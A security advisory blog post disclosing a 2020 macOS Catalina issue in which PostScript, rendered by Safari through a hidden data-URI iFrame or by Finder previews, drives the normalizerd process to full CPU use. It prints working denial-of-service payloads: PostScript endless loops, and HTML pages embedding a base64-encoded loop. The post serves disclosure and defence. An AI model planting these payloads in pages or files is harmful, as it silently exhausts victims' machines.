ADVISORIES
macOS Catalina: PostScript evaluation to Remote Denial-of-Service
The following (slightly modified) advisory regarding macOS 10.15.6. (Catalina) was sent to Apple Product Security on 25th August 2020.
During the Responsible Disclosure process Apple’s Security Team triaged the issue and outlined that they “do not see any actual security implications”.
Foundations
PostScript (PS) is a Turing complete page description language. It is very powerful and if not properly sandbox, controlling a PS file that is rendered can be considered as equivalent to code execution on the host.
Even if the process is properly sanboxed, PS rendering yields Denial-of-Service risks, as @jensvoid pointed out in his talk at the German OWASP Day 2018 [1]. You should definitely have a look at his slides! Trivial endless-loops can cause harm to the underlying system:
%!PS
% Source: https://god.owasp.de/archive/2018/slides/2018-god-mueller.pdf
% CPU:
{} loop
% Memory:
{65535 array} loop
% Storage:
null (w) .tempfile {dup 0 write} loop
Luckily on macOS the PostScript rendering is sandboxed. According to my investigations, on macOS there is the PSNormalizer.framework
and the com.apple.print.normalizerd
that are used for PostScript rendering.
Description
If the macOS PostScript rendering engine encounters the above mentioned CPU DoS payload, almost instantly the normalizerd
process hits 100% CPU exhaustion. It then has to be forcefully quitted using the Activity Monitor
- otherwise exhaustive battery drain and heat are the immediate consequences.
But now the central question: How could this go any further than “Self-DoS”? Is the issue perhaps remotely exploitable?
Spoiler: Yes! 🙈
Toy Example: Safari executes harmless PostScript
A fully remote vector to run arbitrary PostScript on a victim’s Mac by embedding the payload using an iFrame with data
URI as source is the following:
<html>
<body>
<iframe src="data:application/postscript;base64,JSFQUwoKJSBzZWxlY3QgZm9udCBhbmQgZm9udHNpemUKL0NvdXJpZXIgMzAwIHNlbGVjdGZvbnQKCiUgU2VsZWN0IHBvc2l0aW9uCjEwMCA0MDAgbW92ZXRvCgolIFNldCBjb2xvdXIgdG8gcmVkIGFzIHdlICJwcmludCIgb24gYmxhY2sgYmFja2dyb3VuZAowLjcgMCAwIHNldHJnYmNvbG9yCgolIFNob3cgc3RyaW5nCig6XCkpIHNob3cKCgolIFJlbmRlciBwYWdlCnNob3dwYWdl" title="Smiley"></iframe>
</body>
</html>
The data URI holds this PostScript:
%!PS
% select font and fontsize
/Courier 300 selectfont
% Select position
100 400 moveto
% Set colour to red as we "print" on black background
0.7 0 0 setrgbcolor
% Show string
(:\)) show
% Render page
showpage
As a result, Safari renders the PostScript and the Smiley is displayed within an iFrame:
Note that in the commonly applied Web Attacker Model that was introduced by Barth et al. in 2008 [2], it is assumed that the victim visits an attacker controlled website.
DoS 1: Safari PostScript execution
Using the above example, one could also render the DoS payload mentioned earlier:
<html>
<body>
<iframe src="data:application/postscript;base64,JSFQUwolIE1lbW9yeTogCnt9IGxvb3Ag" title="DoS"></iframe>
</body>
</html>
If a victim visits the above page the normalizerd
process instantly consumes nearly 100% CPU:
Additionally, there is no suspicious indication at the User Interface that could make the user aware of the ongoing DoS attack.
DoS 2: Finder preview (PS file)
If one saves the following file to his Mac and browses the containing folder using the finder, rendering the preview already leads to the same behavior regarding normalizerd
:
%!PS
{} loop
Notably, this becomes especially dangerous in regard of AirDrop. If a victim accepts to receive a malicious PostScript file from the attacker, the rendered preview after download triggers the DoS payload.
Even worse, if the victim browses the download folder again after reboot, the normalizerd
process freaks out again.
DoS 2.1: Finder preview (HTML file)
Finally, the finder’s preview rendering of HTML files in combination with the iFrame payload “DoS 1” leads to the exact same behavior (PostScript evaluation leading to DoS) regarding normalizerd
. Just save the file from “DoS 1” and browse the containing folder:
<html>
<body>
<iframe src="data:application/postscript;base64,JSFQUwolIE1lbW9yeTogCnt9IGxvb3Ag" title="DoS"></iframe>
</body>
</html>
Impact
As previously outlined, prerequisite to launch an attack under the web attacker model is that the victim visits an attacker controlled website.
The PS rendering under macOS is sandboxed. Under the assumption that this sandbox is implemented correctly, we still showed the possibility to exhaust resources of the victim’s Mac. Notably, only stopping the normalizerd
process forcefully resolves the issue. Additionally, the attacker’s actions can be hidden so that the victim can not directly notice an ongoing attack, e.g. using a hidden iFrame.
In case of a bypass for the sandbox - which is not that unlikely it may initially sound, if you consider previous research like CVE-2018-19409, CVE-2019-14811, CVE-2019-14812, CVE-2019-14813, … - the described behavior opens a huge attack surface for remotely exploitable Remote Code Execution flaws. Basically, if you chain the “gadget” presented within this report with a sandbox bypass, you can directly target millions of macOS Safari users and cause notable harm.
Recommendation
Likewise other popular browsers, Safari should download contents with MIME type application/postscript instead of rendering them.
References
[1] https://god.owasp.de/archive/2018/slides/2018-god-mueller.pdf
[2] https://www.adambarth.com/papers/2008/barth-jackson-mitchell.pdf
Responsible Disclosure Timeline
- 2020-08-25: Initial Mail to Apple Product Security.
- 2020-08-27: Security Team replies that they are investigating the issue.
- 2020-09-18: Request Update - immediate response that the team is still investigating.
- 2020-09-25: Ask for update + estimated time line. Inform the team that there will be some kind of publication if the issue is not considered security relevant.
- 2020-09-28: Security team states that they finished their investigation and decided that the issue has no direct security implications. Nevertheless, it will be forwarded to the responsible team.
- 2020-10-09: Apple Product Security is informed that this post will become public on 2020-10-11. The team replies that the issue is still not considered as security relevant.
Thank you for reading this post! If you have any feedback, feel free to reach out via Mastodon, Twitter or LinkedIn. 🙂
You can directly tweet about this post using this link. 🤓